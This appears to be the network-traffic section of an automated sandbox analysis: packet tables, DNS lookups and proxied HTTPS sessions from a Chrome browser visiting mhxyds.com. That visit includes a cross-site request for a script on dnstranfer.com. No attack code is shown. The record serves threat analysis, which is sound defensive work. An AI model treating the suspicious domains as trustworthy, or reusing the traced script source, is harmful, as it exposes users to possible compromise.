Aug 11, 2022 05:42:33.666100979 CEST 49781 443 192.168.11.20 51.124.57.242

Aug 11, 2022 05:42:33.666846037 CEST 49781 443 192.168.11.20 51.124.57.242

Aug 11, 2022 05:42:33.666858912 CEST 443 49781 51.124.57.242 192.168.11.20

Aug 11, 2022 05:42:33.730084896 CEST 443 49781 51.124.57.242 192.168.11.20

Aug 11, 2022 05:42:33.730251074 CEST 49781 443 192.168.11.20 51.124.57.242

Aug 11, 2022 05:42:33.731998920 CEST 49781 443 192.168.11.20 51.124.57.242

Aug 11, 2022 05:42:33.732009888 CEST 443 49781 51.124.57.242 192.168.11.20

Aug 11, 2022 05:42:33.732132912 CEST 443 49781 51.124.57.242 192.168.11.20

Aug 11, 2022 05:42:33.737580061 CEST 49781 443 192.168.11.20 51.124.57.242

Aug 11, 2022 05:42:33.737684011 CEST 443 49781 51.124.57.242 192.168.11.20

Aug 11, 2022 05:42:33.737715960 CEST 443 49781 51.124.57.242 192.168.11.20

Aug 11, 2022 05:42:33.737850904 CEST 49781 443 192.168.11.20 51.124.57.242

Aug 11, 2022 05:42:33.737858057 CEST 49781 443 192.168.11.20 51.124.57.242

Aug 11, 2022 05:42:33.748444080 CEST 49782 443 192.168.11.20 20.93.58.141

Aug 11, 2022 05:42:33.748456955 CEST 443 49782 20.93.58.141 192.168.11.20

Aug 11, 2022 05:42:33.748755932 CEST 49782 443 192.168.11.20 20.93.58.141

Aug 11, 2022 05:42:33.748955965 CEST 49782 443 192.168.11.20 20.93.58.141

Aug 11, 2022 05:42:33.748965979 CEST 443 49782 20.93.58.141 192.168.11.20

Aug 11, 2022 05:42:33.862341881 CEST 443 49782 20.93.58.141 192.168.11.20

Aug 11, 2022 05:42:33.862560987 CEST 49782 443 192.168.11.20 20.93.58.141

Aug 11, 2022 05:42:33.863353014 CEST 49782 443 192.168.11.20 20.93.58.141

Aug 11, 2022 05:42:33.863359928 CEST 443 49782 20.93.58.141 192.168.11.20

Aug 11, 2022 05:42:33.863491058 CEST 443 49782 20.93.58.141 192.168.11.20

Aug 11, 2022 05:42:33.864593029 CEST 49782 443 192.168.11.20 20.93.58.141

Aug 11, 2022 05:42:33.864734888 CEST 443 49782 20.93.58.141 192.168.11.20

Aug 11, 2022 05:42:33.864749908 CEST 443 49782 20.93.58.141 192.168.11.20

Aug 11, 2022 05:42:33.864979982 CEST 49782 443 192.168.11.20 20.93.58.141

Aug 11, 2022 05:42:33.864988089 CEST 49782 443 192.168.11.20 20.93.58.141

Aug 11, 2022 05:42:35.439032078 CEST 49771 443 192.168.11.20 104.92.84.124

Aug 11, 2022 05:42:35.439102888 CEST 49769 443 192.168.11.20 35.186.224.25

Aug 11, 2022 05:42:35.447855949 CEST 443 49771 104.92.84.124 192.168.11.20

Aug 11, 2022 05:42:35.448416948 CEST 443 49771 104.92.84.124 192.168.11.20

Aug 11, 2022 05:42:35.448455095 CEST 443 49771 104.92.84.124 192.168.11.20

Aug 11, 2022 05:42:35.448652983 CEST 49771 443 192.168.11.20 104.92.84.124

Aug 11, 2022 05:42:35.454668999 CEST 443 49769 35.186.224.25 192.168.11.20

Aug 11, 2022 05:42:35.461129904 CEST 443 49769 35.186.224.25 192.168.11.20

Aug 11, 2022 05:42:35.461205006 CEST 443 49769 35.186.224.25 192.168.11.20

Aug 11, 2022 05:42:35.461489916 CEST 49769 443 192.168.11.20 35.186.224.25

Aug 11, 2022 05:42:36.794100046 CEST 65244 443 192.168.11.20 142.250.203.206

Timestamp Source Port Dest Port Source IP Dest IP
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Aug 11, 2022 05:42:36.794163942 CEST 443 65244 142.250.203.206 192.168.11.20

Aug 11, 2022 05:42:36.794296026 CEST 49880 443 192.168.11.20 172.217.168.237

Aug 11, 2022 05:42:36.794333935 CEST 443 49880 172.217.168.237 192.168.11.20

Aug 11, 2022 05:42:36.794361115 CEST 65244 443 192.168.11.20 142.250.203.206

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Aug 11, 2022 05:42:36.782902002 CEST 49494 53 192.168.11.20 1.1.1.1

Aug 11, 2022 05:42:36.782963991 CEST 49828 53 192.168.11.20 1.1.1.1

Aug 11, 2022 05:42:36.791899920 CEST 53 49494 1.1.1.1 192.168.11.20

Aug 11, 2022 05:42:36.791945934 CEST 53 49828 1.1.1.1 192.168.11.20

Aug 11, 2022 05:42:36.867135048 CEST 57729 53 192.168.11.20 1.1.1.1

Aug 11, 2022 05:42:36.880872011 CEST 57730 1900 192.168.11.20 239.255.255.250

Aug 11, 2022 05:42:37.179625988 CEST 53 57729 1.1.1.1 192.168.11.20

Aug 11, 2022 05:42:37.881692886 CEST 57730 1900 192.168.11.20 239.255.255.250

Aug 11, 2022 05:42:38.882906914 CEST 57730 1900 192.168.11.20 239.255.255.250

Aug 11, 2022 05:42:39.883328915 CEST 57730 1900 192.168.11.20 239.255.255.250

Aug 11, 2022 05:42:40.080130100 CEST 137 137 192.168.11.20 192.168.11.255

Aug 11, 2022 05:42:40.839582920 CEST 137 137 192.168.11.20 192.168.11.255

Aug 11, 2022 05:42:41.375325918 CEST 59273 53 192.168.11.20 1.1.1.1

Aug 11, 2022 05:42:41.384332895 CEST 53 59273 1.1.1.1 192.168.11.20

Aug 11, 2022 05:42:41.469266891 CEST 59933 53 192.168.11.20 1.1.1.1

Aug 11, 2022 05:42:41.477920055 CEST 53 59933 1.1.1.1 192.168.11.20

Aug 11, 2022 05:42:41.592417955 CEST 137 137 192.168.11.20 192.168.11.255

Aug 11, 2022 05:42:47.239511967 CEST 63830 53 192.168.11.20 1.1.1.1

Aug 11, 2022 05:42:47.397172928 CEST 53 63830 1.1.1.1 192.168.11.20

Aug 11, 2022 05:42:54.220324039 CEST 137 137 192.168.11.20 192.168.11.255

Aug 11, 2022 05:42:54.980590105 CEST 137 137 192.168.11.20 192.168.11.255

Aug 11, 2022 05:42:55.736190081 CEST 137 137 192.168.11.20 192.168.11.255

Aug 11, 2022 05:42:58.233489037 CEST 54423 443 192.168.11.20 47.243.100.207

Aug 11, 2022 05:42:58.535758972 CEST 54423 443 192.168.11.20 47.243.100.207

Aug 11, 2022 05:42:59.146631956 CEST 54423 443 192.168.11.20 47.243.100.207

Aug 11, 2022 05:43:00.347651005 CEST 54423 443 192.168.11.20 47.243.100.207

Aug 11, 2022 05:43:02.242873907 CEST 54423 443 192.168.11.20 47.243.100.207

Aug 11, 2022 05:43:47.863929987 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.873153925 CEST 65511 443 192.168.11.20 142.250.185.234

Aug 11, 2022 05:43:47.874253035 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.876504898 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.880724907 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.880801916 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.881198883 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.884279966 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:47.885483027 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.886178970 CEST 65511 443 192.168.11.20 142.250.185.234

Aug 11, 2022 05:43:47.888288975 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.890974045 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:47.891035080 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:47.891362906 CEST 65511 443 192.168.11.20 142.250.185.234

Aug 11, 2022 05:43:47.896787882 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:47.900134087 CEST 65511 443 192.168.11.20 142.250.185.234

Aug 11, 2022 05:43:47.904148102 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.910181046 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.910238028 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.910511971 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.910562038 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.910967112 CEST 65511 443 192.168.11.20 142.250.185.234

Aug 11, 2022 05:43:47.911015987 CEST 65511 443 192.168.11.20 142.250.185.234

Aug 11, 2022 05:43:47.911111116 CEST 65511 443 192.168.11.20 142.250.185.234

UDP Packets
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Aug 11, 2022 05:43:47.912810087 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.919178963 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.919226885 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.919555902 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.919610977 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.921327114 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.921370983 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.921909094 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:47.921960115 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:47.922012091 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:47.922072887 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.922125101 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.922203064 CEST 65511 443 192.168.11.20 142.250.185.234

Aug 11, 2022 05:43:47.930663109 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.930710077 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.930742979 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.930773020 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.931031942 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.931078911 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.939892054 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:47.940378904 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:47.940490961 CEST 65511 443 192.168.11.20 142.250.185.234

Aug 11, 2022 05:43:47.941596985 CEST 443 61728 142.250.186.72 192.168.11.20

Aug 11, 2022 05:43:47.957034111 CEST 61728 443 192.168.11.20 142.250.186.72

Aug 11, 2022 05:43:47.966929913 CEST 65511 443 192.168.11.20 142.250.185.234

Aug 11, 2022 05:43:47.976027012 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:50.594389915 CEST 65511 443 192.168.11.20 142.250.185.234

Aug 11, 2022 05:43:50.605091095 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:50.622584105 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:50.622615099 CEST 443 65511 142.250.185.234 192.168.11.20

Aug 11, 2022 05:43:50.623094082 CEST 65511 443 192.168.11.20 142.250.185.234

Aug 11, 2022 05:43:50.649250031 CEST 65511 443 192.168.11.20 142.250.185.234

Aug 11, 2022 05:43:50.658818960 CEST 443 65511 142.250.185.234 192.168.11.20

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Aug 11, 2022 05:42:36.782902002 CEST 192.168.11.20 1.1.1.1 0x4e1b Standard query 
(0)

accounts.g
oogle.com

A (IP address) IN (0x0001)

Aug 11, 2022 05:42:36.782963991 CEST 192.168.11.20 1.1.1.1 0x3b8 Standard query 
(0)

clients2.g
oogle.com

A (IP address) IN (0x0001)

Aug 11, 2022 05:42:36.867135048 CEST 192.168.11.20 1.1.1.1 0xe0e2 Standard query 
(0)

mhxyds.com A (IP address) IN (0x0001)

Aug 11, 2022 05:42:41.375325918 CEST 192.168.11.20 1.1.1.1 0xc0e2 Standard query 
(0)

www.google.com A (IP address) IN (0x0001)

Aug 11, 2022 05:42:41.469266891 CEST 192.168.11.20 1.1.1.1 0xa447 Standard query 
(0)

chrome.clo
udflare-dns.com

A (IP address) IN (0x0001)

Aug 11, 2022 05:42:47.239511967 CEST 192.168.11.20 1.1.1.1 0xb82c Standard query 
(0)

mhxyds.com A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Aug 11, 2022 
05:42:36.791899920 CEST

1.1.1.1 192.168.11.20 0x4e1b No error (0) accounts.g
oogle.com

172.217.168.237 A (IP address) IN 
(0x0001)

Aug 11, 2022 
05:42:36.791945934 CEST

1.1.1.1 192.168.11.20 0x3b8 No error (0) clients2.g
oogle.com

clients.l.google.co
m

CNAME 
(Canonical 
name)

IN 
(0x0001)

Aug 11, 2022 
05:42:36.791945934 CEST

1.1.1.1 192.168.11.20 0x3b8 No error (0) clients.l.
google.com

142.250.203.206 A (IP address) IN 
(0x0001)

Aug 11, 2022 
05:42:37.179625988 CEST

1.1.1.1 192.168.11.20 0xe0e2 No error (0) mhxyds.com 118.27.105.118 A (IP address) IN 
(0x0001)

Aug 11, 2022 
05:42:41.384332895 CEST

1.1.1.1 192.168.11.20 0xc0e2 No error (0) www.google.com 142.250.179.132 A (IP address) IN 
(0x0001)

DNS Queries

DNS Answers
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Aug 11, 2022 
05:42:41.477920055 CEST

1.1.1.1 192.168.11.20 0xa447 No error (0) chrome.clo
udflare-dns.com

172.64.145.85 A (IP address) IN 
(0x0001)

Aug 11, 2022 
05:42:41.477920055 CEST

1.1.1.1 192.168.11.20 0xa447 No error (0) chrome.clo
udflare-dns.com

104.18.42.171 A (IP address) IN 
(0x0001)

Aug 11, 2022 
05:42:47.397172928 CEST

1.1.1.1 192.168.11.20 0xb82c No error (0) mhxyds.com 118.27.105.118 A (IP address) IN 
(0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
login.live.com

            
accounts.google.com

            
clients2.google.com

            
mhxyds.com

            
https:

83202.global.siteimproveanalytics.io
dnstranfer.com
sdk.51.la
hm.baidu.com
iframes.perpetualequity.com.au

            
chrome.cloudflare-dns.com

            
arc.msn.com

            
img-prod-cms-rt-microsoft-com.akamaized.net

            
content-autofill.googleapis.com

            
optimizationguide-pa.googleapis.com

         

Session ID Source IP Source Port Destination IP
Destination
Port

Process

0 192.168.11.20 49779 40.126.32.72 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:33 UTC 0 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19042.0.0; IDCRL-cfg 16.000.29143.3; App svchost.exe, 1
0.0.19041.546, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4714
Host: login.live.com

2022-08-11 03:42:33 UTC 0 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

HTTP Request Dependency Graph

HTTPS Proxied Packets
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2022-08-11 03:42:33 UTC 5 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 11 Aug 2022 03:41:33 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: a2650016-1765-4717-9fcd-a13523f34576
PPServer: PPV: 30 H: BL02EPF00006706 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 11 Aug 2022 03:42:33 GMT
Connection: close
Content-Length: 11373

2022-08-11 03:42:33 UTC 5 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

1 192.168.11.20 49780 40.126.32.72 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:33 UTC 16 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19042.0.0; IDCRL-cfg 16.000.29143.3; App svchost.exe, 1
0.0.19041.546, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4681
Host: login.live.com

2022-08-11 03:42:33 UTC 17 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-08-11 03:42:33 UTC 21 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 11 Aug 2022 03:41:33 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 4f950bfc-819e-49f0-beec-5dbf28f23683
PPServer: PPV: 30 H: BL02PF25D8E5A9E V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 11 Aug 2022 03:42:33 GMT
Connection: close
Content-Length: 10197

2022-08-11 03:42:33 UTC 22 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

10 192.168.11.20 57622 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:39 UTC 100 OUT GET /css/style.minb90e.css?v=637328095360000000 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

100 118.27.105.118 443 192.168.11.20 51445 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1441 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:51 GMT
Content-Type: image/png
Content-Length: 5454
Last-Modified: Sun, 19 Feb 2017 09:43:00 GMT
Connection: close
ETag: "58a968a4-154e"
Expires: Sat, 10 Sep 2022 03:42:51 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:51 UTC 1441 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 37 00 00 00 49 08 06 00 00 00 99 f3 be f7 00 00 00 
01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 
00 0e c1 01 b8 91 6b ed 00 00 14 e3 49 44 41 54 78 5e 95 db 05 d0 65 c5 b5 86 e1 3f 10 34 38 01 82 bb 24 b8 06 06 77 
0d 1a dc dd 21 b8 bb 6b 70 0d 4e 82 bb bb bb bb 43 41 82 45 70 a9 82 82 be 3c 7d eb 3b d5 b3 e7 cc 24 4c d5 aa ed dd f
d f6 b7 a4 f7 fe cf 0c dc 74 d3 4d 85 dd 7c f3 cd 3d bb e5 96 5b 7a 76 eb ad b7 f6 ec b6 db 6e eb d9 ed b7 df 3e 98 dd 71 
c7 1d 43 d8 9d 77 de 59 ee ba eb ae f2 e0 83 0f 96 87 1f 7e b8 9e d3 8e ad 73 8f 3c f2 48 b9 ef be fb ea 3d ec ee bb ef ee 
59 f7 78 68 96 67 bb a6 ef be 70 2d a0 c1 64 db 05 0b 44 17 
Data Ascii: PNGIHDR7IsRGBgAMAapHYskIDATx^e?48$w!kpNCAEp<};$LtM|=[zvn>qCwY~s<H=Yxhgp-dD

Session ID Source IP Source Port Destination IP
Destination
Port

Process

101 118.27.105.118 443 192.168.11.20 50126 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1494 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:51 GMT
Content-Type: text/css
Content-Length: 3542
Last-Modified: Mon, 28 Nov 2016 18:14:42 GMT
Connection: close
Vary: Accept-Encoding
ETag: "583c7412-dd6"
Expires: Thu, 11 Aug 2022 15:42:51 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes
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2022-08-11 03:42:51 UTC 1495 IN Data Raw: ef bb bf 2e 68 61 6c 66 41 76 61 69 6c 61 62 6c 65 57 69 64 74 68 0d 0a 7b 0d 0a 09 66 6c 6f 61 74 3a 6c 65 
66 74 3b 09 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 
69 6e 65 3b 0d 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 20 30 70 78 3b 0d 0a 09 77 69 64 74 68 3a 20 35 30 25 3b 0d 0a 
09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 74 6f 70 3b 0d 0a 7d 0d 0a 0d 0a 2e 74 68 69 72 64 41 76 61 69 6c 6
1 62 6c 65 57 69 64 74 68 0d 0a 7b 0d 0a 09 66 6c 6f 61 74 3a 6c 65 66 74 3b 09 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 
3a 20 6c 65 66 74 3b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0d 0a 09 6d 61 72 67 69 6e 3a 20 35 70 
78 20 30 70 78 3b 0d 0a 09 77 69 64 74 68 3a 20 33 33 25 3b 0d 0a 09 
Data Ascii: .halfAvailableWidth{float:left;text-align: left;display: inline;margin: 5px 0px;width: 50%;vertical-align: top;}.third
AvailableWidth{float:left;text-align: left;display: inline;margin: 5px 0px;width: 33%;

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

102 192.168.11.20 51532 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1498 OUT GET /direct/main.js HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

